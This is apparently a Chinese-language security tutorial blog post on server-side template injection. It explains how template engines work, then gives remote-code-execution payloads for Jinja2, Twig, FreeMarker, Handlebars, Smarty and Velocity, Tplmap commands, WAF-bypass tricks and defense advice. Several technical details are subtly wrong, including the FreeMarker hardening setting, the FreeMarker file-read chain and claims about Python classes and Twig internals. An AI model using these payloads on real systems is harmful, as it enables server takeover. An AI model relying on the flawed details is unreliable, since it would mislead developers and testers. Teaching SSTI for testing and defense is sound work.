前言
在Web应用开发的广阔世界里,模板引擎是一个不可或缺的存在。它们帮助开发者将HTML页面的静态骨架与动态数据分离,让前端展示逻辑变得优雅而高效。然而,当用户输入被直接嵌入到模板中而未经充分过滤时,一个隐蔽而危险的漏洞便悄然诞生——这就是我们今天要深入探讨的主题:Server-Side Template Injection,即服务端模板注入漏洞,简称SSTI。
SSTI之所以被安全研究者高度重视,是因为它往往能够绕过传统的输入过滤和WAF防护,直接在服务端执行任意代码。一旦攻击者发现了一个可利用的SSTI注入点,他们获得的将不仅仅是页面内容——很可能是整个服务器的控制权。与反射型XSS等客户端漏洞不同,SSTI的危害发生在服务端,这意味着它更加隐蔽,也更加致命。
在接下来的学习中,我们将从SSTI的底层原理出发,逐一解析不同模板引擎的注入手法,探讨如何在实际环境中发现和利用这类漏洞,同时也会分享防御策略,帮助你构建更加安全的应用程序。
一、SSTI漏洞的本质:模板引擎的工作机制
1.1 什么是模板引擎
要理解SSTI漏洞,首先需要明白模板引擎究竟是如何工作的。想象一下,你正在开发一个博客系统,需要展示用户的个性化问候。如果用户的用户名是"小明",你希望页面显示"欢迎来到我们的网站,小明!"。在传统的硬编码方式中,你可能会在HTML里写死这段文字,但这样做意味着每次都要修改源代码。
模板引擎的出现完美解决了这个问题。开发者可以将HTML写成模板,其中留出"占位符"——也就是模板变量的位置。当用户请求页面时,服务器端的模板引擎会读取模板文件,用实际的用户数据替换这些占位符,最终生成完整的HTML返回给浏览器。这个过程用伪代码可以表示为:
模板内容: "欢迎,{{ username }}!"
用户数据: { username: "小明" }
渲染结果: "欢迎,小明!"在这个简单的示例中,{{ }}就是模板语法的一部分,它告诉模板引擎这里需要被替换。常见的模板语法还包括${}、{% %}、<%= %>等等,不同的模板引擎有不同的语法规则。
1.2 SSTI漏洞是如何产生的
现在我们理解了模板引擎的正常运作方式,那么SSTI漏洞是如何产生的呢?关键在于:用户输入被直接拼接到模板内容中,而没有经过适当的处理。
考虑这样一个场景:一个Web应用允许用户自定义邮件模板,用户可以输入自己的名字,模板可能是这样的:
Hello {{ name }}, welcome to our website!正常情况下,用户输入"name=John",页面会显示"Hello John, welcome to our website!"。但如果服务器没有对用户输入进行验证,攻击者可能会尝试输入模板语法:
{{ 7 * 7 }}服务器会傻傻地将这段内容当作模板变量处理,计算出49,最终页面显示"Hello 49, welcome to our website!"。这说明什么?说明服务器在解析和执行模板语法!
更进一步,如果用户输入:
{{ os.popen('whoami').read() }}在某些配置不当的模板引擎中,这行代码会被执行,返回当前服务器运行的用户名。从这一刻起,攻击者已经打开了一扇通往服务器控制权的大门。他们可以执行任意系统命令、上传webshell、甚至横向移动到内网其他机器。
1.3 注入点识别:如何发现SSTI漏洞
发现SSTI漏洞的第一步是识别注入点。在实际测试中,你需要关注那些将用户输入嵌入模板内容的场景。常见的注入点包括:
用户自定义模板内容:这是最明显的场景,用户可以输入或编辑模板文本,服务器直接渲染。
邮件模板配置:许多应用允许管理员自定义邮件内容,如注册确认邮件、密码重置邮件等。如果这些模板直接使用用户输入的字段,注入点就形成了。
静态页面生成器:某些CMS或博客平台使用模板来生成静态页面,用户输入可能被嵌入模板变量中。
搜索引擎高亮功能:为了在搜索结果中高亮关键词,服务器可能会用用户输入构造模板。如果过滤不严,就可能形成注入。
Wiki或CMS的模板功能:一些内容管理系统提供模板定制功能,允许用户修改页面的呈现方式。
识别注入点的技巧是注入模板语法进行探测。常用的测试载荷包括:
{{ 7 * 7 }}
${7*7}
<%= 7*7 %>
{% debug %}
{{ ''.class }}如果页面返回了计算结果(如"49")或出现了异常信息,那么很可能存在SSTI漏洞。不同的模板引擎对于无效语法或恶意输入有不同的响应,这也帮助我们识别正在使用的模板类型。
1.4 客户端回显与盲注
与SQL注入和命令执行类似,SSTI也存在回显与盲注两种情况。当服务器将模板渲染结果直接返回给用户时,我们可以直接看到执行结果,这种情况下利用相对简单。但当渲染结果不返回或只返回部分信息时,我们就需要借助盲注技术。
盲注SSTI的思路与时间盲注类似。我们可以构造这样的Payload来确认漏洞存在:
{% if 1==1 %}true{% endif %}如果漏洞存在,页面会显示"true"。进一步地,我们可以通过布尔判断逐字符猜解敏感信息,或者使用时间延迟来判断条件是否成立。在某些情况下,我们还可以利用带外技术(如DNSLog)来外带数据。
二、Jinja2模板注入:Python生态的典型案例
2.1 Jinja2概述
在Python Web开发领域,Jinja2是最流行的模板引擎之一。它被广泛应用于Flask、Django(可选)等框架中,因其灵活的语法和强大的功能而备受开发者青睐。然而,如果使用不当,Jinja2也会成为SSTI漏洞的重灾区。
Jinja2使用双花括号{{ }}作为变量输出标记,使用{% %}进行控制结构(如条件语句、循环语句)的编写,使用{# #}编写注释。了解这些基础语法是进行Jinja2 SSTI测试的前提。
一个典型的Jinja2模板看起来像这样:
<!DOCTYPE html>
<html>
<head>
<title>{{ title }}</title>
</head>
<body>
<h1>Welcome, {{ user.name }}!</h1>
<ul>
{% for item in items %}
<li>{{ item }}</li>
{% endfor %}
</ul>
</body>
</html>2.2 Jinja2的沙箱与安全机制
值得庆幸的是,Jinja2本身内置了一定的安全机制。默认情况下,Jinja2的模板无法直接访问Python的内置对象和危险函数。例如,在模板中直接写{{ os }}会报错,因为os模块不在模板的上下文中。
Jinja2通过SandboxedEnvironment提供了额外的沙箱保护。在这种环境下,模板无法访问大多数危险属性和方法。即使在非沙箱环境下,想要进行RCE也需要一定的条件——你需要找到能够突破Jinja2封装的对象链。
2.3 从{{}}到RCE:Jinja2 SSTI利用链
在非安全配置的Jinja2环境中,SSTI到RCE的利用通常需要利用Python的对象 introspection能力。Python的每个对象都有一个__class__属性,指向创建该对象的类;每个类都有一个__mro__属性,列出类的继承顺序(Method Resolution Order);通过__subclasses__()方法可以获取一个类的所有子类。
一条经典的Jinja2 SSTI到RCE的利用链如下:
第一步:确认漏洞存在
{{ 7 * 7 }}返回49说明存在SSTI漏洞。
第二步:寻找可利用的类
Python的__class__.__mro__.__subclasses__()链可以遍历所有可访问的类。在这些类中,有些是危险类的子类或包含了危险方法。例如,warnings.catch_warnings类中有一个func属性指向os.system:
{{ ''.__class__.__mro__.__subclasses__() }}遍历返回的列表,找到包含危险方法的类的索引位置。
第三步:构造执行命令
一旦找到指向os.system或类似危险方法的引用,就可以构造执行命令的Payload:
{{ ''.__class__.__mro__[2].__subclasses__()[index].__init__.__globals__['system']('whoami') }}其中index是包含危险方法的类在__subclasses__()返回列表中的索引。这个数字可能因Python版本不同而有所变化,实际测试时需要自行枚举。
2.4 更简洁的利用方式
在某些情况下,如果目标环境使用了eval或__import__等可以直接执行代码的函数,利用会更加简单:
{{ self.__init__.__globals__.__builtins__['eval']('__import__("os").popen("whoami").read()') }}或者更简洁的:
{{ request.__class__.__bases__[0].__subclasses__()[index].__init__.__globals__['popen']('whoami').read() }}实际利用中,建议使用自动化工具如Tplmap来探测和利用Jinja2 SSTI漏洞,它能够自动识别模板引擎类型、检测漏洞存在性,并生成针对性的RCE Payload。
三、Twig模板注入:PHP生态的代表
3.1 Twig基础
Twig是PHP生态系统中最流行的模板引擎,被Symfony等主流框架广泛采用。Twig的语法与Jinja2非常相似——同样使用{{ }}输出变量,使用{% %}编写控制结构。这使得从Jinja2转向Twig的学习成本相对较低,但安全隐患也颇为相似。
一个典型的Twig模板:
<!DOCTYPE html>
<html>
<head>
<title>{{ title }}</title>
</head>
<body>
<h1>{{ page.title }}</h1>
{{ page.content|raw }}
</body>
</html>注意这里使用了raw过滤器,它会告诉Twig不要对输出进行HTML转义——这是一个潜在的安全风险点,使用时需要格外小心。
3.2 Twig的SSTI漏洞利用
在Twig中,常见的SSTI到RCE利用依赖于__init__和__toString等魔术方法。与Jinja2不同,Twig的利用通常更加直接,因为它更容易找到可以直接调用系统命令的方法。
基础测试载荷:
{{ 7 * 7 }}返回49即确认漏洞存在。
利用_self内部变量:
Twig提供了一个特殊的变量_self,它指向当前Twig_Environment实例。通过它我们可以访问内部属性:
{{ _self }}
{{ _self.env }}
{{ _self.env.extensions }}注册过滤器回调执行命令:
Twig提供了registerUndefinedFilterCallback方法,允许注册一个回调函数来处理未定义的过滤器。我们可以利用这一点:
{{ _self.env.registerUndefinedFilterCallback("exec") }}
{{ _self.env.getFilter("whoami") }}第一条语句注册了exec作为回调函数,第二条语句使用未定义的过滤器名"whoami"来触发这个回调,实际上执行了exec("whoami")。
更暴力的利用方式:
如果可以访问__toString方法所在的类,可以尝试直接调用exec:
{{ constant("exec") }}
{{ ["id"]|map("exec")|join }}3.3 Symfony框架中的Twig注入
Symfony是一个功能强大的PHP框架,默认使用Twig作为模板引擎。在Symfony应用中发现SSTI漏洞时,利用方式可能略有不同,因为框架会对一些操作进行封装。
在Symfony环境下,一个可能的利用链是:
{{ constant('ERROR' ~ 'level') }}
{{ dump(app.request) }}
{{ _self.env.include("file_to_read") }}其中dump函数会输出变量信息,这在信息收集阶段非常有用。而include方法理论上可以读取任意文件(受PHP配置影响)。
四、FreeMarker模板注入:Java生态的重要代表
4.1 FreeMarker简介
FreeMarker是Java生态中非常流行的模板引擎,它广泛应用于Apache Struts 2等框架中。FreeMarker的语法与前面提到的Python和PHP模板略有不同,它使用${ }进行变量输出,使用<#list>``</#list>进行循环,使用<#if>``</#if>进行条件判断。
一个FreeMarker模板示例:
<html>
<head>
<title>${title}</title>
</head>
<body>
<h1>Welcome, ${user.name}!</h1>
<#list items as item>
<p>${item}</p>
</#list>
</body>
</html>4.2 FreeMarker的SSTI利用
FreeMarker提供了new内置函数,可以用来实例化Java对象。这个特性在正常开发中有其用途,但也为SSTI攻击打开了大门。通过new函数,我们可以创建任意实现了TemplateModel接口的Java对象。
基础测试:
${7*7}返回49说明存在SSTI漏洞。
利用new函数实例化任意类:
FreeMarker允许使用com.example.DangerousClass?new()来创建类实例。在危险配置下,这可以用来执行任意代码:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ex('whoami')}这条Payload首先使用assign标签声明一个变量ex,它指向freemarker.template.utility.Execute类,然后立即调用ex('whoami')执行系统命令。
利用ObjectConstructor:
另一种利用方式是利用ObjectConstructor内建函数:
${ObjectConstructor("java.lang.ProcessBuilder", "whoami").start()}读取文件内容:
FreeMarker也可以用来读取服务器上的敏感文件:
${TemplateModel?api.getClass().getProtectionDomain().getCodeSource().getLocation().openStream().readAllBytes()?join(' ')}当然,这条利用链相当复杂,实际使用中可能需要根据目标环境进行调整。
4.3 Struts2中的FreeMarker注入
Apache Struts 2曾经是SSTI漏洞的"重灾区"。虽然近年来官方加强了对框架的安全审计,但学习历史上的经典案例仍然有助于理解这类漏洞。
在Struts 2中,如果开发者在Freemarker模板中直接使用了用户输入,而恰好没有进行适当的过滤,就可能触发SSTI漏洞。历史上著名的S2-053(CVE-2017-12611)就是这样一个例子——框架在处理Freemarker模板时存在注入漏洞,攻击者可以通过构造特定的请求参数来执行任意代码。
五、其他模板引擎的注入特点
5.1Handlebars与JavaScript模板
Handlebars是Node.js生态中常见的模板引擎,它默认运行在服务端(通过handlebars npm包),但也可以在浏览器端使用。Handlebars的设计理念是"无逻辑模板",通过预编译和上下文隔离来减少XSS风险,但这并不意味着它完全免疫SSTI。
在Node.js服务端使用Handlebars时,如果攻击者能够控制模板内容本身,利用方式与Python和PHP类似。可以通过以下方式尝试利用:
{{#with (lookup this "constructor")}}
{{#with (lookup this "prototype")}}
{{#with this}}
{{eval "global.process.mainModule.require('child_process').execSync('whoami').toString()"}}
{{/with}}
{{/with}}
{{/with}}这是一条复杂的利用链,它利用Handlebars的with助手和lookup助手来遍历对象链,最终通过eval执行代码。
5.2 Smarty与更多PHP模板
Smarty是另一个流行的PHP模板引擎,它的语法略有不同,使用{ }作为模板定界符(可以配置)。在Smarty中,常见的SSTI利用方式是利用{php}标签(如果启用)或通过{assign}等变量操作来实现代码执行:
{php}echo `whoami`;{/php}
{assign var="x" value="system"}{assign var="y" value="whoami"}{$x($y)}5.3 Velocity与Java模板
Apache Velocity是Java生态中另一个历史悠久的模板引擎。它的语法使用$引用变量,使用#进行指令控制。Velocity的SSTI利用通常需要寻找能够执行任意代码的类:
#set($x = $class.inspect('java.lang.Runtime').getRuntime().exec('whoami'))
$x.getInputStream().readAllBytes()六、发现与利用SSTI的高级技巧
6.1 自动化工具:Tplmap
手动进行SSTI测试既耗时又容易遗漏。安全研究者为我们带来了优秀的自动化工具——Tplmap。它支持检测和利用多种模板引擎的SSTI漏洞,功能强大且使用简便。
Tplmap的基本用法:
python tplmap.py -u "http://target.com/page?id=1"指定参数测试:
python tplmap.py -u "http://target.com/page" -d "name=test"通过Burp Suite代理测试:
python tplmap.py -r request.txtTplmap会自动探测目标使用的模板引擎类型,并尝试多种注入技术,从简单的信息泄露到完整的RCE。一旦发现漏洞,它会生成详细的报告,包括可用的Payload和成功利用的证据。
6.2 模板指纹识别
准确识别目标使用的模板引擎是有效利用SSTI的关键。不同的模板引擎有不同的语法和错误信息,我们可以利用这些特征来进行识别。
通用探测载荷(适用于大多数引擎):
{{7*7}}
${7*7}
<%= 7*7 %>
{7*7}Jinja2特征:
{{ ''.__class__.__mro__[2].__subclasses__() }}
{{ self }}Twig特征:
{{ _self }}
{{ dump(_self) }}FreeMarker特征:
${7*7}
<#assign x="freemarker.template.utility.Execute"?new()>${x("whoami")}Handlebars特征:
{{#with "a" as |a|}}
{{lookup this "constructor"}}
{{/with}}通过发送这些载荷并观察响应,我们可以确定模板类型,然后选择针对性的Payload进行深入利用。
6.3 WAF绕过策略
在实际测试中,目标站点很可能部署了WAF(Web应用防火墙)或输入过滤机制。绕过这些防护需要一定的技巧和创造力。
编码绕过:某些WAF可能只检查原始载荷,而不会解码URL二次编码或HTML编码的内容:
{{%7b%7b%207*7%20%7d%7d}} # URL编码大小写混淆:虽然大多数模板引擎的语法是大小写敏感的,但可以尝试测试WAF规则是否也存在这个问题:
{{constructor}}
{{CONSTRUCTOR}}
{{ConStructor}}分块传输:在HTTP请求中使用Transfer-Encoding: chunked可以让WAF难以完整解析请求内容:
POST /page HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
{{7*7}}利用不常见语法:某些模板引擎支持多种语法变体,WAF可能只拦截了最常见的一种:
${"{{7*7}}"}
[[${7*7}]]七、防御SSTI漏洞的最佳实践
7.1 永远不要将用户输入直接拼接到模板中
这是最重要的一条原则,也是从根本上杜绝SSTI漏洞的方法。如果用户输入必须出现在页面中,应该使用模板引擎提供的安全输出机制——即自动进行HTML转义。
现代模板引擎通常默认开启自动转义功能,但在某些特殊场景下(如需要输出HTML时),开发者可能会关闭这个功能。如果必须这样做,务必对输入进行严格的过滤和验证。
7.2 使用安全配置
以Jinja2为例,使用SandboxedEnvironment而不是普通的Environment可以提供额外的安全层。沙箱环境会限制模板可以访问的属性和方法,大幅减少RCE的风险:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()对于FreeMarker,确保new_builtin_class设置为False,禁止在模板中实例化任意类:
cfg.setSetting(Configuration.TEMPLATE_CONFIGURATION_KEY, "strict,new");7.3 输入验证与过滤
如果业务逻辑要求用户输入必须包含某些模板语法(如Markdown编辑器),那么输入验证就变得至关重要。建立白名单机制,只允许使用安全的内容格式。对于必须使用的特殊字符,进行严格的转义处理。
7.4 定期安全审计与渗透测试
即使采取了所有预防措施,仍然建议定期进行代码审计和渗透测试。使用自动化扫描工具(如Tplmap)结合手工测试,尽早发现潜在的安全问题。同时,关注所使用的框架和模板引擎的安全公告,及时修补已知漏洞。
八、实战靶场练习建议
8.1 DVWA中的SSTI
虽然DVWA主要聚焦于其他漏洞类型,但其"Medium"和"High"难度下的某些模块也涉及到模板注入的概念,值得一试。
8.2 VulHub靶场
VulHub是一个基于Docker的漏洞复现平台,其中包含了多个SSTI相关的靶场环境,包括但不限于S2-053、CVE-2021-27890等经典案例。通过复现这些漏洞,你可以在一个安全可控的环境中学习利用技巧。
8.3 PortSwigger Academy
PortSwigger Web Security Academy提供了专门的SSTI学习模块,从基础识别到高级利用都有详细的指导和实际动手的机会,是系统学习SSTI的绝佳资源。
结语
SSTI模板注入漏洞是Web安全领域一个独特而危险的存在。它之所以危险,是因为它将客户端漏洞的"用户可控输入"与服务器端漏洞的"任意代码执行"完美结合在了一起。一旦攻击者找到了可以利用的注入点,传统的防护措施往往难以抵挡。
今天的学习我们从原理出发,深入探讨了Jinja2、Twig、FreeMarker等主流模板引擎的注入手法和利用技巧。记住,发现漏洞只是第一步——理解漏洞的成因、掌握利用的原理,才能在真正的渗透测试或代码审计中游刃有余。
明天的学习我们将进入新的篇章。无论你已经准备好继续深入Web漏洞的世界,还是需要一些时间来消化今天的内容,都要记住:安全研究是一场马拉松而非短跑。保持好奇心,坚持学习,你终将成为那个能够在黑暗中发现问题、在阳光下修复问题的人。
我是胡豆,我们明天见!
往期回顾:
- • Day 25 | 框架漏洞:Shiro与Spring的隐秘防线[1]
- • Day 24 | Log4j2与Fastjson:Java生态的定时炸弹[1]
- • Day 23 | 逻辑漏洞:支付与认证的安全盲区[1]
往期文章列表:点击这里查看所有已发布文章[1]
引用链接
[1] Day 25 | 框架漏洞:Shiro与Spring的隐秘防线: 链接
夜雨聆风